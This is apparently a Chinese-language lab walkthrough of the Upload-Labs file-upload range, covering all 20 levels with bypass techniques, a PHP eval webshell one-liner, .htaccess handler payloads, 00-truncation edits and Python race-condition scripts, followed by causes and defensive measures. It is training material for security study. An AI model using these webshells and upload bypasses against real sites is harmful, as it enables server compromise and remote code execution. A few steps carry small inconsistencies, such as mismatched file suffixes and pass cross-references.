Upload-Labs靶场全20关通关攻略(含原理+实操+环境配置)
Upload-Labs靶场全20关通关攻略(含原理+实操+环境配置)
引言
Upload-Labs是Web安全领域经典的文件上传漏洞实战靶场,涵盖了前端验证、MIME校验、黑白名单过滤、00截断、条件竞争、二次渲染等几乎所有文件上传绕过场景。掌握该靶场的通关思路,能快速理解文件上传漏洞的核心原理与防御逻辑,对渗透测试、代码审计等工作极具参考价值。
本文将按照“环境准备→漏洞原理→分步实操→补充知识”的结构,详细拆解每一关的通关技巧,所有操作均经过实测验证,新手也可跟着步骤复现。
必备工具
- 环境:PHPStudy(建议安装5.2.17+5.3.29版本,适配不同关卡需求)、Apache/Nginx
- 抓包工具:Burp Suite(BP)
- 连接工具:AntSword(用于连接WebShell)
- 编辑工具:010Editor(分析图片Hex、二次渲染对比)
- 脚本工具:Python(用于条件竞争场景)
或者
在官方在线靶场练习,地址:https://upload-labs.bachang.org/
全关卡通关详解
Pass-01(前端JS验证)
核心原理
仅通过前端JavaScript函数(checkFile()
)校验文件后缀,未在后端做任何限制,直接修改前端代码即可绕过。
通关步骤
- 打开靶场页面,按
F12
打开浏览器开发者工具,切换到「Elements」或「源代码」标签; - 搜索并找到
checkFile()
函数(通常在<script>
标签内),直接删除该函数,或修改函数返回值为return true
(例:function checkFile(){return true;}
); - 保存修改后,直接上传后缀为
.php
的一句话木马(如:<?php @eval($_POST['cmd']);?>
); - 复制上传成功后的文件地址,用蚁剑添加连接(密码
cmd
),即可成功连接。
补充知识
- 前端验证仅防“小白用户”,对攻击者完全无效,后端必须重复校验。
Pass-02(MIME类型验证)
核心原理
后端仅校验HTTP请求头中的Content-Type
字段(MIME类型),未校验文件实际内容,修改该字段即可绕过。
通关步骤
- 准备
.php
一句话木马,点击上传,用BP拦截请求包; - 在BP中找到
Content-Type
字段(通常在文件上传参数附近,如Content-Type: application/x-httpd-php
); - 将
Content-Type
值修改为合法图片类型,如image/png
或image/jpeg
; - 点击「Forward」放包,文件上传成功;
- 用蚁剑连接上传后的PHP文件,完成通关。
补充知识
- MIME类型:用于标识文件格式的HTTP头字段,常见值:
image/png
(PNG图片)、image/jpeg
(JPG图片)、application/x-httpd-php
(PHP文件)。
Pass-03(黑名单验证·特殊后缀绕过)
核心原理
后端用“黑名单”禁止.php
后缀,但未禁止.php3
、.php5
、.phtml
等特殊PHP后缀,需配置Apache支持这些后缀解析。
环境准备(关键)
- 打开PHPStudy,找到Apache的配置文件
httpd.conf
(路径:PHPStudy\Apache\conf\httpd.conf
); - 搜索
AddType application/x-httpd-php .php .phtml
,去掉开头的#
注释,并添加.php3
、.php5
,最终改为:AddType application/x-httpd-php .php .phtml .php3 .php5
- 重启PHPStudy的Apache服务,使配置生效。
通关步骤
- 将一句话木马的后缀改为
.pht
(如cmd.php5
); - 直接上传文件,因
.pht
不在黑名单内,上传成功; - 用蚁剑连接
cmd.pht
,即可执行命令。
补充知识
- 备选方案:上传
.htaccess
文件(需Apache开启AllowOverride All
),内容为SetHandler application/x-httpd-php
,可让所有文件解析为PHP(如上传cmd.jpg
也能被解析)。
Pass-04(黑名单验证·.htaccess绕过)
核心原理
黑名单禁止了.php
、.php3
等后缀,但未禁止.htaccess
(Apache的目录配置文件),可通过.htaccess
强制解析图片为PHP。
环境准备
- 打开
httpd.conf
,找到AllowOverride None
,将None
改为All
(允许.htaccess
生效); - 重启Apache服务。
通关步骤
- 新建
.htaccess
文件,写入以下内容(强制所有文件解析为PHP):<FilesMatch ".*">SetHandler application/x-httpd-php </FilesMatch>
- 上传
.htaccess
文件,提示上传成功; - 制作图片马:用
copy 1.png/b + cmd.php/a cmd.jpg
(Windows命令)将PHP代码嵌入图片,或直接在图片开头添加GIF89a
(伪装GIF); - 上传图片马
cmd.jpg
,复制地址后用蚁剑连接,即可解析为PHP。
Pass-05(黑名单验证·大小写绕过)
核心原理
后端未将文件名转为小写(未用strtolower()
),黑名单仅拦截.php
,可通过.Php
、.PHP
等大小写混合后缀绕过。
通关步骤
- 将一句话木马命名为
cmd.Php
(后缀含大写); - 直接上传,因
.Php
不在黑名单内,上传成功; - Apache默认不区分大小写,
cmd.Php
会被解析为PHP,用蚁剑连接即可。
Pass-06(黑名单验证·空格绕过)
核心原理
后端未去除文件名末尾的空格(未用trim()
),Windows系统会自动忽略文件名末尾的空格,可通过cmd.php
(末尾加空格)绕过。
通关步骤
- 上传
cmd.php
,用BP拦截请求; - 在BP中找到文件名参数(如
filename="cmd.php"
),改为filename="cmd.php "
(末尾加空格); - 放包后,Windows会将文件保存为
cmd.php
(自动去掉空格),用蚁剑连接即可。
Pass-07(黑名单验证·点号绕过或者空格绕过)
核心原理
后端未去除文件名末尾的点(未用deldot()
),Windows系统会自动忽略文件名末尾的点,可通过cmd.php.
(末尾加点)绕过。
通关步骤
- 上传
cmd.php
,用BP拦截请求; - 将
filename="cmd.php"
改为filename="cmd.php."
(末尾加点); - 放包后,Windows自动去掉末尾的点,文件实际为
cmd.php
,用蚁剑连接即可。
Pass-08(黑名单验证·::$DATA绕过)
核心原理
Windows系统特性:文件名后加::$DATA
,系统会将::$DATA
后的内容视为文件流,忽略后缀校验,且实际保存的文件名不含::$DATA
。
通关步骤
- 上传
cmd.php
,用BP拦截请求; - 将
filename="cmd.php"
改为filename="cmd.php::$DATA"
; - 放包后,文件实际保存为
cmd.php
; - 蚁剑连接时,URL需去掉
::$DATA
(如http://xxx/upload/cmd.php
),即可成功。
Pass-9(黑名单验证·点+空格+点绕过)
核心原理
后端仅用deldot()
去除末尾的点(从后向前检测,遇空格停止),可构造cmd.php. .
(点+空格+点)绕过。
通关步骤
- 上传
cmd.php
,用BP拦截请求; - 将
filename="cmd.php"
改为filename="cmd.php. ."
(注意中间有空格); - 放包后,
deldot()
仅去除末尾的点,空格后的点保留,Windows自动忽略空格和末尾的点,最终文件为cmd.php
; - 用蚁剑连接即可。
Pass-10(黑名单验证·双写绕过)
核心原理
后端用str_ireplace()
将黑名单中的php
替换为空(不区分大小写),可通过双写pphphp
绕过(替换后变为php
)。
通关步骤
- 上传
cmd.php
,用BP拦截请求; - 将
filename="cmd.php"
改为filename="cmd.pphphp"
; - 后端处理时,
str_ireplace("php", "", "pphphp")
会将中间的php
替换为空,最终变为cmd.php
; - 上传成功后,用蚁剑连接
cmd.php
即可。
在这里插入图片描述
Pass-11(白名单验证·GET 00截断)
核心原理
后端用白名单校验后缀,且文件路径通过GET
参数拼接,PHP版本<5.3.4且magic_quotes_gpc
关闭时,%00
(URL解码为0x00)会截断路径。
环境准备
- 切换PHP版本为5.2.17(<5.3.4);
- 打开
php.ini
,设置magic_quotes_gpc = Off
,重启服务。
通关步骤
- 准备
cmd.png
(伪装图片,实际含PHP木马),上传并拦截请求; - 在BP中找到
GET
参数(如?save_path=upload/
),改为?save_path=upload/cmd.php%00
; - 确保
filename="cmd.png"
(符合白名单); - 放包后,路径被
%00
截断为upload/cmd.php
,文件保存为cmd.php
; - 蚁剑连接时,去掉
%00
后的内容,即可成功。
Pass-12(白名单验证·POST 00截断)
核心原理
与Pass-12类似,但路径通过POST
参数传递,POST
不会自动解码%00
,需手动在Hex中修改为0x00。
通关步骤
- 准备
cmd.png
,上传并拦截请求; - 在BP中找到
POST
参数(如save_path=upload/
),改为save_path=upload/cmd.php+
(+
用于定位); - 右键选择「Convert Selection to Hex」,找到
+
对应的Hex值2B
,改为00
; - 确保
filename="cmd.png"
(符合白名单); - 放包后,路径被
0x00
截断为upload/cmd.php
,文件保存为cmd.php
; - 蚁剑连接即可。
Pass-13(内容验证·图片马+文件包含)
核心原理
后端读取文件前2字节判断类型(如JPG的FF D8
、PNG的89 50
),需制作图片马,再通过文件包含漏洞解析
C:\Users\L\Desktop>copy 1.jpg/b+1.php/a 2.jpg
1.jpg
1.php
已复制 1 个文件。
使用文件包含漏洞:http://192.168.17.167:8080/uploadlabs/include.php/?file=upload/9120250826200717.jpg
通关步骤
- 制作图片马:用
copy 1.jpg/b + cmd.php/a cmd.jpg
(Windows命令),将PHP木马嵌入图片; - 上传
cmd.jpg
,因前2字节为FF D8
,通过内容校验; - 靶场提供文件包含页面(如
include.php
),构造URL:http://xxx/include.php?file=upload/cmd.jpg
; - 用蚁剑连接
include.php?file=upload/cmd.jpg
,即可解析图片马。
补充知识
- 常见图片文件头:
- JPG:
FF D8
- PNG:
89 50 4E 47
- GIF:
47 49 46 38
- JPG:
Pass-14(内容验证·getimagesize()绕过)
核心原理
后端用getimagesize()
校验文件是否为图片(读取文件头信息),与Pass-14一致,图片马可绕过。
通关步骤
- 复用Pass-13的图片马
cmd.jpg
; - 上传图片马,
getimagesize()
检测到图片头,通过校验; - 用文件包含
include.php?file=upload/cmd.jpg
,蚁剑连接即可。
Pass-15(内容验证·exif_imagetype()绕过)
核心原理
后端用exif_imagetype()
校验文件类型(读取文件头第一个字节),需开启php_exif
扩展,图片马可绕过。
环境准备
- 打开
php.ini
,去掉extension=php_exif.dll
前的#
,重启服务。
需要开启php_exif.dll
php_exif.dll
是 PHP 语言中用于处理图像 EXIF 元数据 的扩展模块(Windows 系统下的动态链接库文件)。它允许 PHP 脚本读取和解析嵌入在图像文件(如 JPEG、TIFF 等)中的 EXIF 信息。
php_exif.dll 的作用
php_exif.dll
为 PHP 提供了操作 EXIF 数据的接口,核心功能包括:
- 读取 EXIF 数据:从图像文件中提取上述元数据;
- 解析复杂结构:处理 EXIF 数据中嵌套的标签(如 GPS 坐标的经纬度格式转换);
- 兼容多种格式:支持 JPEG、TIFF、RAW 等常见图像格式的 EXIF 解析。
通关步骤
- 复用图片马
cmd.jpg
,上传后通过exif_imagetype()
校验; - 文件包含
include.php?file=upload/cmd.jpg
,蚁剑连接即可。
Pass-16(内容验证·二次渲染绕过)
核心原理
上传文件后发现生成了一张新图片,打开后发现原来的图片无法显示php代码的解析内容了,考虑观察新旧图片的hex编码差异
后端对上传的图片进行二次渲染(重写文件内容),需找到渲染后不变的Hex区域,嵌入PHP木马。
通关步骤
- 上传一张正常GIF图片(GIF渲染后变化较小),下载渲染后的图片;
- 用010Editor对比原GIF和渲染后GIF的Hex,找到完全相同的区域;
- 在该区域嵌入PHP木马(如
<?php @eval($_POST['cmd']);?>
); - 上传修改后的GIF图片,后端渲染后木马仍保留;
- 文件包含
include.php?file=upload/xxx.gif
,蚁剑连接即可。
提示
- 推荐用小尺寸GIF图片,渲染后不变区域更多,可直接使用网上现成的“免杀GIF图片马”。
Pass-17(逻辑漏洞·条件竞争一)
核心原理
后端逻辑:先保存文件→校验后缀→合法则重命名,不合法则删除。可利用“保存后→删除前”的时间差,访问文件生成永久WebShell。
通关步骤
- 准备
cmd.php
,内容为:
(访问时生成<?php fputs(fopen('Tony.php','w'),'<?php phpinfo();?>');?>
Tony.php
,永久保留); - 上传
cmd.php
,用BP拦截请求,发送到「Intruder」; - 在Intruder中设置“无限发包”(Payload类型选
Null payloads
,数量设为10000),开启攻击; - 同时运行Python脚本,不停访问
cmd.php
:import requests url = "http://xxx/upload/cmd.php" while True:res = requests.get(url)if res.status_code == 200:print("生成Tony.php成功!")break
- 脚本输出“成功”后,
Tony.php
已生成,用蚁剑连接即可。
Pass-18(逻辑漏洞·条件竞争二)
核心原理
后端逻辑:先校验后缀(仅允许图片)→保存文件→重命名。需用图片马+文件包含,利用“保存后→重命名前”的时间差访问。
通关步骤
- 制作图片马
cmd.jpg
(含Pass-17的生成脚本); - 上传
cmd.jpg
,用BP拦截并无限发包; - 运行Python脚本,不停文件包含访问:
import requests url = "http://xxx/include.php?file=upload/cmd.jpg" while True:res = requests.get(url)if "Warning" not in res.text:print("生成Tony.php成功!")break
- 脚本成功后,连接
Tony.php
即可。
Pass-19(逻辑漏洞·move_uploaded_file特性绕过)
核心原理
move_uploaded_file()
会忽略文件名末尾的/.
,后端仅校验用户输入的后缀,可通过cmd.php/.
绕过。或者使用hex编码,将后缀名后一位改为00截断符
通关步骤
- 准备
cmd.png
(伪装图片),上传并拦截请求; - 将
filename="cmd.png"
改为filename="cmd.php/."
; - 后端校验
png
合法,move_uploaded_file()
忽略/.
,实际保存为cmd.php
; - 用蚁剑连接即可。
Pass-20(逻辑漏洞·数组绕过)
核心原理
后端校验用户输入的文件名(非数组时切割后缀),可构造数组绕过切割逻辑,使最终文件名含.php
。
源码逻辑:检查MIME (通过抓包改Content-Type 绕过)判断 POST参数 save_name 是否为空,判断$file 是否为数组,不是数组以 .分割化为数组取 $file 最后一个元素,作为文件后缀进行检查取 f i l e 第 一 位 和 第 ‘ file 第一位和第` file第一位和第‘file[count($file) - 1]`作为文件名和后缀名保存文件修改content-type 修改POST参数为数组类型,
索引[0]为2.php,
索引[2]为jpg|png|gif。
只要第二个索引不为1,
$file[count($file) - 1]就等价于$file[2-1],值为空绕过
通关步骤
- 准备
cmd.php
,上传并拦截请求; - 修改
Content-Type
为image/png
(符合MIME校验); - 找到
filename
参数,将其改为数组格式:- 原参数:
filename=cmd.php
- 改后:
filename[0]=cmd.php&filename[2]=png
(索引1留空,切割时后缀为空,绕过白名单);
- 原参数:
- 放包后,文件保存为
cmd.php
,用蚁剑连接即可。
文件上传漏洞成因总结
- 校验位置错误:仅前端校验,后端无校验;
- 校验逻辑缺陷:依赖MIME、文件名等易篡改的字段,未校验文件内容;
- 配置不当:Apache/Nginx解析规则宽松(如
.php5
解析)、.htaccess
/.user.ini
可上传; - 逻辑漏洞:条件竞争、路径截断、数组绕过等;
- 第三方漏洞:图片处理库二次渲染不彻底、文件包含漏洞辅助解析。
防御措施
- 禁用执行权限:上传目录(如
upload/
)设置为“仅读”,禁止PHP执行(Apache用php_flag engine off
); - 强校验文件内容:结合文件头(如
FF D8
)、文件内容(如getimagesize()
)、后缀白名单校验; - 重命名文件:用随机字符串(如
md5(时间+文件名).后缀
)命名,避免猜测路径; - 限制上传目录:将上传文件存放在Web根目录外,通过脚本读取文件(而非直接访问);
- 配置加固:禁用
.htaccess
/.user.ini
,关闭magic_quotes_gpc
(PHP7已移除),升级PHP版本(≥5.3.4); - 过滤特殊字符:去除文件名中的空格、点、
::$DATA
等特殊字符,统一转为小写。
结尾
文件上传漏洞的核心是“信任用户输入”,防御的关键是“不信任任何用户输入”。建议结合本文步骤,边实操边理解原理,同时尝试举一反三(如Nginx解析漏洞、IIS解析漏洞),逐步掌握Web安全的核心思维。
如果在实操中遇到环境问题,可留言讨论,也可参考PHPStudy、Burp Suite的官方文档排查配置~